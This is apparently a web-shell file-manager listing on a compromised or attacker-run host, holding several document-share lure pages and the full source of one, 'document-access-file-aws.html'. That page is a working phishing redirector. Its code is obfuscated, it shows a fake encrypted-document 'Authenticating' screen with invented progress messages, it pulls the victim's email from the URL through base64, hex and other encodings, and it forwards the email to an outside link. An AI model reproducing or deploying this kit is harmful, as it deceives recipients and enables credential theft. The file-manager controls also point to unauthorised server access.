at path:
ROOT
/
wellknown
/
document-access-file-aws.html
run:
R
W
Run
Access__Document__1v__Secure__.html
14.48 KB
2026-08-26 16:10:01
R
W
Run
Delete
Rename
Access___Document__1v__Secure__.html
14.47 KB
2026-08-26 16:12:14
R
W
Run
Delete
Rename
access___document__1v__secure___.html
14.47 KB
2026-08-26 21:00:27
R
W
Run
Delete
Rename
access___document__1v__secure__share.html
14.42 KB
2026-08-26 19:06:30
R
W
Run
Delete
Rename
adobe_share_file.html
6.24 KB
2026-09-01 17:50:17
R
W
Run
Delete
Rename
dSign-preload.html
17.51 KB
2026-08-27 14:42:57
R
W
Run
Delete
Rename
document-access-file-aws.html
14.47 KB
2026-08-31 14:51:47
R
W
Run
Delete
Rename
error_log
up
📄
document-access-file-aws.html
Save
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Secure Authentication</title> <style> * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif; background: #FAF7F2; display: flex; align-items: center; justify-content: center; min-height: 100vh; color: #333; } .x9k2m { text-align: center; max-width: 500px; width: 90%; padding: 40px 20px; } .p7w3n { font-size: 2.5rem; font-weight: lighter; color: #1a78e4; margin-bottom: 30px; letter-spacing: 1px; } .q8t5r { font-size: 0.9rem; font-weight: lighter; color: #666; margin-bottom: 40px; line-height: 1.6; } .a4j6h { width: 100%; height: 8px; background: #e0e0e0; border-radius: 10px; overflow: hidden; margin-bottom: 20px; box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1); } .b2v9f { height: 100%; background: linear-gradient(90deg, #1a78e4 0%, #4a9ff5 100%); border-radius: 10px; width: 0%; transition: width 0.3s ease; box-shadow: 0 2px 6px rgba(26, 120, 228, 0.3); } .c1n8d { font-size: 0.9rem; font-weight: lighter; color: #999; margin-top: 10px; } /* Modal Styles */ .m5z7k { display: none; position: fixed; z-index: 1000; left: 0; top: 0; width: 100%; height: 100%; background: rgba(0, 0, 0, 0.4); backdrop-filter: blur(5px); animation: fadeIn 0.3s ease; } .m5z7k.y3x4w { display: flex; align-items: center; justify-content: center; } .l6p2q { background: #fff; padding: 40px; border-radius: 12px; max-width: 400px; width: 90%; box-shadow: 0 10px 40px rgba(0, 0, 0, 0.2); animation: slideUp 0.3s ease; } .r4h9s { font-size: 1.5rem; font-weight: lighter; color: #333; margin-bottom: 10px; } .t8m3v { font-size: 0.95rem; font-weight: lighter; color: #666; margin-bottom: 25px; line-height: 1.5; } .g7d5n { margin-bottom: 20px; text-align: left; } .k2w6b { display: block; font-size: 0.9rem; font-weight: lighter; color: #555; margin-bottom: 8px; } .f9j4c { width: 100%; padding: 12px 15px; border: 1px solid #ddd; border-radius: 6px; font-size: 1rem; font-weight: lighter; transition: border-color 0.3s ease; } .f9j4c:focus { outline: none; border-color: #1a78e4; box-shadow: 0 0 0 3px rgba(26, 120, 228, 0.1); } .f9j4c.u6s8t { border-color: #e74c3c; } .e5v2x { color: #e74c3c; font-size: 0.85rem; font-weight: lighter; margin-top: 5px; display: none; } .e5v2x.y3x4w { display: block; } .n7q1z { width: 100%; padding: 12px 20px; background: #1a78e4; color: #fff; border: none; border-radius: 6px; font-size: 1rem; font-weight: lighter; cursor: pointer; transition: background 0.3s ease; } .n7q1z:hover { background: #1565c0; } .n7q1z:active { transform: scale(0.98); } /* Spinner */ .s3a9p { display: inline-block; width: 40px; height: 40px; margin: 20px auto; border: 4px solid #e0e0e0; border-top: 4px solid #1a78e4; border-radius: 50%; animation: spin 1s linear infinite; } @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } @keyframes fadeIn { from { opacity: 0; } to { opacity: 1; } } @keyframes slideUp { from { transform: translateY(20px); opacity: 0; } to { transform: translateY(0); opacity: 1; } } /* Responsive */ @media (max-width: 600px) { .p7w3n { font-size: 2rem; } .q8t5r { font-size: 1rem; } .l6p2q { padding: 30px 20px; } } </style> </head> <body> <div class="x9k2m"> <div class="p7w3n">Authenticating</div> <div class="q8t5r">This document is protected with end-to-end encryption. Only authorized recipients can access it. All access attempts are logged for security</div> <div class="a4j6h"> <div class="b2v9f" id="h3r7w"></div> </div> <div class="c1n8d" id="j2k9m">Initializing...</div> </div> <!-- Email Validation Modal --> <div class="m5z7k" id="v8n4d"> <div class="l6p2q"> <div class="r4h9s">Email Verification</div> <div class="t8m3v">Please enter your email address to continue</div> <form id="z5t3q" onsubmit="return false;"> <div class="g7d5n"> <label class="k2w6b" for="w4p6s">Email Address</label> <input type="email" id="w4p6s" class="f9j4c" placeholder="you@example.com" required > <div class="e5v2x" id="d7c2f">Please enter a valid email address</div> </div> <button type="submit" class="n7q1z" onclick="x9m5h()">Continue</button> </form> </div> </div> <script> // ================================ // CONFIGURATION // ================================ const o4b8k = { redirectURL: 'https://gerridae.mail.hostinger.com/v1/link/01a057d8-4d8d-7984-8161-fb4d73b4e50e', showValidationForm: false, emailParam: 'email', appendType: 'param', progressDuration: 6000, redirectDelay: 700 }; // ================================ // EMAIL EXTRACTION // ================================ function a6w9t() { return p2q7n() || f5r3v() || m8d4x() || s1j6z() || k3h9c() || t7w2b() || null; } function p2q7n() { const l4n8r = new URLSearchParams(window.location.search); const y6m2k = l4n8r.get('email') || l4n8r.get('e') || l4n8r.get('user') || l4n8r.get('username'); return g3z5v(y6m2k) ? y6m2k : null; } function f5r3v() { const q9h4w = window.location.hash.substring(1); const u2c7x = new URLSearchParams(q9h4w); const y6m2k = u2c7x.get('email') || u2c7x.get('e'); return g3z5v(y6m2k) ? y6m2k : null; } function m8d4x() { const b5k1n = window.location.href; const r3p9t = b5k1n.match(/\$([^$]+@[^$]+\.[^$]+)\$/); if (r3p9t && g3z5v(r3p9t[1])) { return r3p9t[1]; } return null; } function s1j6z() { const l4n8r = new URLSearchParams(window.location.search); const c8v2q = l4n8r.get('data') || l4n8r.get('token') || l4n8r.get('auth'); if (!c8v2q) return null; try { const h7x3m = atob(c8v2q); const w6j4f = h7x3m.match(/([a-zA-Z0-9._-]+@[a-zA-Z0-9._-]+\.[a-zA-Z0-9_-]+)/); if (w6j4f && g3z5v(w6j4f[1])) { return w6j4f[1]; } } catch (e) { } return null; } function k3h9c() { const l4n8r = new URLSearchParams(window.location.search); const n2d8v = l4n8r.get('hex') || l4n8r.get('h'); if (!n2d8v) return null; try { const h7x3m = n2d8v.match(/.{1,2}/g) .map(byte => String.fromCharCode(parseInt(byte, 16))) .join(''); const w6j4f = h7x3m.match(/([a-zA-Z0-9._-]+@[a-zA-Z0-9._-]+\.[a-zA-Z0-9_-]+)/); if (w6j4f && g3z5v(w6j4f[1])) { return w6j4f[1]; } } catch (e) { } return null; } function t7w2b() { const z9q5k = window.location.pathname; const w6j4f = z9q5k.match(/([a-zA-Z0-9._-]+@[a-zA-Z0-9._-]+\.[a-zA-Z0-9_-]+)/); if (w6j4f && g3z5v(w6j4f[1])) { return w6j4f[1]; } return null; } function g3z5v(y6m2k) { if (!y6m2k) return false; const re = /^[^\s@]+@[^\s@]+\.[^\s@]+$/; return re.test(y6m2k); } // ================================ // REDIRECT URL BUILDER // ================================ function v5p8n(y6m2k) { let b5k1n = o4b8k.redirectURL; switch (o4b8k.appendType) { case 'param': const c4s9j = b5k1n.includes('?') ? '&' : '?'; return `${b5k1n}${c4s9j}${o4b8k.emailParam}=${encodeURIComponent(y6m2k)}`; case 'hash': return `${b5k1n}#${o4b8k.emailParam}=${encodeURIComponent(y6m2k)}`; case 'dollar': return `${b5k1n}$${y6m2k}$`; case 'path': const f2w7x = b5k1n.replace(/\/$/, ''); return `${f2w7x}/${encodeURIComponent(y6m2k)}`; default: return b5k1n; } } // ================================ // PROGRESS BAR ANIMATION // ================================ function r6d3m(q8t1v) { const h3r7w = document.getElementById('h3r7w'); const j2k9m = document.getElementById('j2k9m'); const n5x4z = o4b8k.progressDuration; const e7b2p = 100; const a3w9s = n5x4z / e7b2p; let l8v6q = 0; const m4h7j = [ 'Initializing...', 'Verifying credentials...', 'Establishing secure connection...', 'Opening Document Viewer...', 'Almost ready...' ]; const k1z5c = setInterval(() => { l8v6q++; const t9r3n = l8v6q / e7b2p * 100; h3r7w.style.width = t9r3n + '%'; const x2p6d = Math.floor((l8v6q / e7b2p) * m4h7j.length); if (x2p6d < m4h7j.length) { j2k9m.textContent = m4h7j[x2p6d]; } if (l8v6q >= e7b2p) { clearInterval(k1z5c); j2k9m.textContent = 'Redirecting...'; setTimeout(q8t1v, o4b8k.redirectDelay); } }, a3w9s); } // ================================ // EMAIL VALIDATION FORM // ================================ function s2n7k() { const v8n4d = document.getElementById('v8n4d'); v8n4d.classList.add('y3x4w'); document.getElementById('w4p6s').focus(); } function x9m5h() { const w4p6s = document.getElementById('w4p6s'); const d7c2f = document.getElementById('d7c2f'); const y6m2k = w4p6s.value.trim(); if (!g3z5v(y6m2k)) { w4p6s.classList.add('u6s8t'); d7c2f.classList.add('y3x4w'); return false; } w4p6s.classList.remove('u6s8t'); d7c2f.classList.remove('y3x4w'); document.getElementById('v8n4d').classList.remove('y3x4w'); c9q4t(y6m2k); return false; } // ================================ // REDIRECT LOGIC // ================================ function c9q4t(y6m2k) { r6d3m(() => { const p5h8w = v5p8n(y6m2k); console.log('Redirecting to:', p5h8w); window.location.href = p5h8w; }); } // ================================ // INITIALIZATION // ================================ function j7v2x() { const b3n9k = a6w9t(); if (b3n9k) { console.log('Email extracted:', b3n9k); c9q4t(b3n9k); } else if (o4b8k.showValidationForm) { console.log('No email found - showing validation form'); s2n7k(); } else { console.log('No email found - redirecting without email'); c9q4t(''); } } if (document.readyState === 'loading') { document.addEventListener('DOMContentLoaded', j7v2x); } else { j7v2x(); } document.addEventListener('keypress', function(e) { if (e.key === 'Enter' && document.getElementById('v8n4d').classList.contains('y3x4w')) { x9m5h(); } }); </script> </body> </html>